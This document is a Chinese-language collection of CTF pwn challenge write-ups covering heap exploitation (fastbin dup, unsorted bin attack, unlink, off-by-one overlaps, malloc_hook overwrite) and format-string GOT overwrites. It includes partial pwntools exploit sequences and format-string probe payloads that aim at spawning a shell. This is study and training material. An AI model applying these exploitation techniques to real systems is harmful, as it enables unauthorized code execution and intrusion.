不做题就去似 做题区这一块
[ZJCTF 2019]EasyHeap
-------------------------------- |
create: 一个指针数组 一共可以申请并记录十个chunk
edit: 可以往堆里写入任意 存在溢出
delete: 正常free 不存在uaf
if ( v3 == 4869 ) |
我们需要让magic被一个大数覆盖 然后运行4869选项
很显然就是打unsortedbin attack
程序没有开启pie 这使得我们可以方便的覆盖
unsortedbin attack需要覆盖bk指针 bk->fd 会覆盖成main_arena 这里其实不用在意fd指针是否正确
综上 我们我们建立三个0x90大小的chunk
然后free掉第二个 用第一个的溢出覆盖bk指针就行
from pwn import * |
结果发现远程压根没有/home/pwn/flag文件 只能想其他办法
上面的方法没用
那么既然我们已经有system.plt地址 可以考虑got表覆盖 通过fastbindup来打
打fastbin需要我们拥有一个伪造的chunksize 在got表附近不太显示 一般会考虑在程序管理指针附近的位置伪造,然后控制指针
指针前面有IOfile 必然以0x7f结尾 这让我们有了利用的机会
0x6020b0 <stdin@@GLIBC_2.2.5>: 0x00007fa72edc38e0 0x0000000000000000 |
也就是说 0x6020b0+8-3的位置开始的话 我们可以获得一个0x7f的long int数
那么我们只要利用fastbindup分配到0x6020b0+13的位置就行了 但是要注意fastbin是指向头部的 我们需要控制的指针是0x6020ad
create(0x60,b'a') |
gdb 检查一下 已经成功覆盖了
pwndbg> x/gx 0x0000000000602018 |
然后写入0为system.plt
前面create1 的时候改成写入/bin/sh
from pwn import * |
❯ python exp.py |
打一下远程
❯ python exp.py |
hitcontraining_uaf
---------------------- |
Add:
最多五个:
由一个8字节的chunk存储一个函数指针和chunk指针 chunk可以任意大小 申请同时需要输入内容
一个数组存储这些8字节的信息chunk
del:
会把信息chunk和数据chunk都free 但是全都没有归零 有uaf
print:
print行为非常抽象 总体来说 他会puts 数据chunk内的内容 然后puts刚才说的函数指针 函数指针里函数就是print_note_content 输出也是通过调用这个函数指针实现的
反正总体上来说 我们应该需要控制这个函数指针
---------------------- |
这里的doublefree是系统直接返回的 说明程序在第二次free没进行任何检查 我们利用fastbin的doublefree只检查最顶部的性质来doublefree
---------------------- |
但是打fastbin的方法会因为malloc数上限而失败,需要考虑一些更简洁的方法
如果我们连续free两次 会有两个0x10大小的fastbin连接 这时候如果我们也申请0x10大小的数据chunk 就可以直接控制第一个被free的信息chunk
这样就可以覆盖到指针了
|
axb_2019_fmt32
我一直都不太喜欢格式化字符串的题目 感觉太麻烦 但是考虑到这种题我做的太少了 所以找个标准化的练习一下
首先是要获得参数列表起始位置到格式化字符串的位置的偏移
可以用gdb查看地址然后计算 也可以直接盲打 这里都演示一遍
gdb查看地址:
下断点到printf(format) 的call printf之前 这里已经push了一个参数 也就是说 esp 指向的就是参数列表的开头
pwndbg> stack 60 |
$ebp-0x239是ida给出的s字符串的位置
In [1]: (0xffffcb5f - 0xffffcb40) |
注意第0个参数是esp 也就是格式化字符串的地址 因此要减去4 31-4=27 那么我们填充一个字节 就是28 = 4*7 也就是第八个参数是格式化字符串
盲打:
先输入
aaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p
Hello,I am a computer Repeater updated. |
在这里面找到0x61 可以看到在第七个和第八个都有出现 第七个里多一个 我们就填充一个b 然后再aaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p
Please tell me:baaaa%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p/%p |
这里就是对齐过的 第八个参数就是aaaa的位置 之后我们的payload都要加一个’b’
然后我们需要做的是泄露libc的地址 由于我们已经知道aaaa是第八个参数 可以用f“%{n}8s” 这种格式来输出指定参数的位置上的地址对应的字符串
例如如果我们输入b’b‘ + p32(puts.got) + b’%8$s’ 就能输出puts的got内的内容
输出之后 这一题我们使用got表覆盖的方式来打
我们用fmtstr_payload 来快速生成写入的payload
fmtstr_payload(offset , writes,numbwritten ,write_size)
第一个参数是偏移 前面已经试出来第八个参数 这里就填8
writes是一个字典 {} 左边是要写入的位置 右边是要写入的值
numbwritten是已经输出的个数这里是Repeater:b 也就是 10
综上我们第二个payload就是
payload = b'a' + fmtstr_payload(8,{printf_got:system_libc},10) |
由于system前面有个Repeater: 所以我们先打个分号
[+] Starting local process './axb_2019_fmt32': pid 19622 |
from pwn import * |
打远程的时候注意libc版本问题。
hitcontraining_heapcreator
这题是我自主写的 不过相比网上的wp写的复杂了,思维太公式化这一块
我自己的思路是利用off-one-byte伪造出向前合并 大致是 从第三块合并到第一块 这样重新申请出来的就可以控制到和第二块的重叠
并且在unsortedbin切割的过程中可以通过main_arena 泄露出libc地址 然后通过控制指针来覆盖got表
具体流程如下:
先申请四次
create(0x80,b'a') |
第四个用于当作边界防止unsortebbin和top_chunk合并,同时写入/bin/sh便于后续运行system(‘/bin/sh’)
第三块的大小是刻意设计的 0x70+0x20是0x90 如果覆盖size进行重叠 0x90正好能进入unsortebin 而0x70进入fastbin
fastbin不会重置后一块的prev_inuse ,使得程序不会因为double free检查崩溃
第一块用于free之后和第三块进行合并
第二块是被重叠的
进行第三部分 指针chunk的prev_size 和size伪造
edit(1,b'a'*0x80+p64(0x90+0x20+0x90)+b'\x90') |
先free 第一部分 再free 第三部分
delete(0) |
这时候重叠已经完成 unsortedbin从第一部分数据chunk开始一直到第三部分数据chunk结束
申请0x90+0x20大小的chunk 这样fd和bk数据会被填入第二部分的数据chunk
create(0x90+0x20-0x10,b'a') |
这时候再申请任意大小 ,就会有一个指针chunk和第二部分的数据chunk重叠 可以覆盖指针
create(0x30,b'a') |
后续就不说了 相对来说比较简单
总的exploit
from pwn import * |
我说这个过程麻烦 其实是我的过程包含了预期解的过程 并且预期解更简单
就是构造重叠不一定需要合并 其实只需要修改size并free 如果两个fastbin重叠 申请过来自然就重叠了 而我们刚才的第三部分已经有了fastbin和unsortedbin的重叠
那么如果我们第三部分申请的是0x20大小 然后覆盖size为0x40 再申请回来 数据chunk自然会和指针chunk重叠。
然后控制指针任意读任意写就行了。
0ctf_2017_babyheap
这题之前参考wp写过一次 但是这次是自主写的 和wp比对了一下 发现之前的写法相对 麻烦 目前的写法可能还能优化 主要是在构造重叠方面
程序功能大致如下
allocate:任意大小申请,有初始化
fill:填充 可以溢出
delete:free 有归零
dump:输出
我这次的思路是伪造fake chunk头,覆盖大小 然后通过unsortedbin free检查的缺陷 造成重叠
流程:
申请阶段
allocate(0x30)
allocate(0x80)
allocate(0x80)
allocate(0x30)
allocate(0x60) #4
allocate(0x60)
allocate(0x60)
4开始是为了后续打fastbindup用的可以不管 3是用来隔离的
主要看1和2
我们覆盖1的大小使得1大小变大 然后free掉,这时候产生一个存在和2重叠的unsortedbin
注意unsortebinfree时会对下一个chunk检查 为了构造重叠 我们这里覆盖1大小为0xb0 那么下一个大小就是0x70 size应该填入0x71
这里覆盖完之后直接free1
然后再申请回来
这时候1和2已经重叠了 但是2的data被破坏了 手动修复一下就行
然后再free2即可泄露main_arena
泄露了之后就是fastbin dup打到malloc_hook这个比较简单就不说了
相对来说可以优化的地方是构造重叠第一个chunk可以是fastbin 检查会少点。
ciscn_2019_n_3
这一题和hitcontraining_uaf思路特别类似 甚至比那个更简单
也是删除两次 然后申请一个大小和带指针chunk一致的数据chunk 就能构造重叠 结合uaf就能打system(“/bin/sh“)
但是这题只给四个字节 所以改打system(“sh”)
from pwn import * |
babyfengshui
add: 申请任意大小,会初始化 。再申请一个0x80大小的管理chunk
delete: 删除 会把0x80的管理chunk指针归零,但是不会重置管理chunk的数据
display: 输出
update: 编辑 用了个很奇怪的手段 就是写入字节不能超过管理chunk的size起点
很显然漏洞就在update里 它默认两个时紧邻的 但这显然不现实 我们只要在前面free过一个0x88大小的chunk 然后申请0x88大小的chunk 数据chunk就会分配到非常前面
后面就很简单了 能控制指针没有pie的程序的统一套路
from pwn import * |
stkof
非常经典的一题 unlink的基础模板
打unlink的时候要注意是要在被free的chunk上一个chunk里面伪造chunk头 因为我们指针一般从数据开始 但是unsortedbin管理指针一般从head开始
然后就是套路过程 不多说
from pwn import * |
pwnable_hacknote
和前面有个叫hacknote的非常相似 但是这题用到一个trick
因为我们覆盖完system后参数也是指向system地址的 解决这个问题就是在这个地址后面加’;sh\x00’
mrctf2020_easy_equation
比较简单的格式化字符串 区别是是64位的
from pwn import * |
./ciscn_2019_es_7
基本上是工具的使用 最后rop链要求满足
p64(sigreturn_addr)+p64(syscall_ret)+bytes(sigframe)
sigreturn_addr 是mov rax ,15;ret 的gadget
from pwn import * |
roarctf_2019_easy_pwn
这题最后有个手法比较神奇,然后中间涉及off_one_byte之后 如何利用,值得记录
add:可以申请任意大小
write:堆内写入,有1字节溢出
drop: 删除 会归零
show:输出
总体上没有直接的uaf 但是这个结构明显是off-one-byte
我们能最大申请的是0x100 但是如果要覆盖后面的size ,我们得申请0x98或者0x88 因为当我们输入大于0x101的数会被强制变成10
流程如下:
add(0x88) #0
add(0x100) #1
add(0x100) #2
add(0x30) #3 做边界
write(1,b’a’*0xf0+p64(0x100)+p64(0x11)) 伪造prev_size
delete(1)
write(0,b’a’0x88+b’\x00’,1)
add(0x80) #1
add(0x10) #4
add(0x10) #5
其实5不需要
delete(1)
delete(2)
这时候已经发生向前合并 创造一个2和1的大空间
add(0x88) #1
这时候在4的位置 会有fd和bk指针 用于泄露libc
找到malloc_hook - 0x23 我们分配到那个位置 作为chunk起点
add(0x60) #2
add(0x60) #6
用来打fastbindup
delete(6)
delete(2)
write(4,p64(target))
add(0x60) #2
add(0x60) #6 ,会控制到malloc_hook-0x13
write(6,b’a’(0x13-8)+p64(one_gadget)+p64(realloc))
print(one_gadget)
add(1)
p.interactive()
这里我们覆盖了realloc_hook为one_gadget
malloc_hook为realloc
因为直接one_gadget全不通 就中途经过一个函数 调整栈状态看看能否打通
from pwn import * |
npuctf_2020_easyheap
这题和之前sekaictf遇到的一个非常相似,但是sekaictf那个是覆盖一个超大的size生成unsortedbin以泄露libc 这题我们无法申请大的chunk 只能malloc(0x18) 和 malloc(0x38) 要产生unsortedbin非常麻烦 不过幸好pie关闭 可以直接覆盖指针到got表去泄露。
同时tcachebin 的检查更少 覆盖size后free操作对下一块没任何检查 这使得利用更加简便
add : 可以申请0x18与0x38 大小,先会申请一个管理chunk malloc(0x10)
edit : 可以多一个字节编辑 这使得size覆盖得以实现
show: 打印 用的是%s
delete: 先删除数据chunk 再删管理chunk
由于前面这种重叠涉及多次 我就不细说思路怎么来的了 直接上流程:
add(1) #0 |
这就直接产生重叠了 可以看到tcache要构造重叠非常轻松
然后就是覆盖指针 泄露libc 覆盖got表
全部payload
from pwn import * |
hitcontraining bamboobox
这题和前面有一题几乎一致! 见前文的stkof
不过当我写完这题发现main里面有个malloc申请的存储函数指针的堆块我压根没用过
网上搜到说是可以用house of force分配到那里
见[BUUCTF]PWN——hitcontraining_bamboobox(House of force+unlink)_bamboobox pwn-CSDN博客
ACTF_2019_babyheap
这题和之前有个特别像
我就不细说了,主要是我把data段的binsh漏了导致多了一步泄露heap地址 虽然写出来了 但是但凡多点限制我可能就寄了
from pwn import * |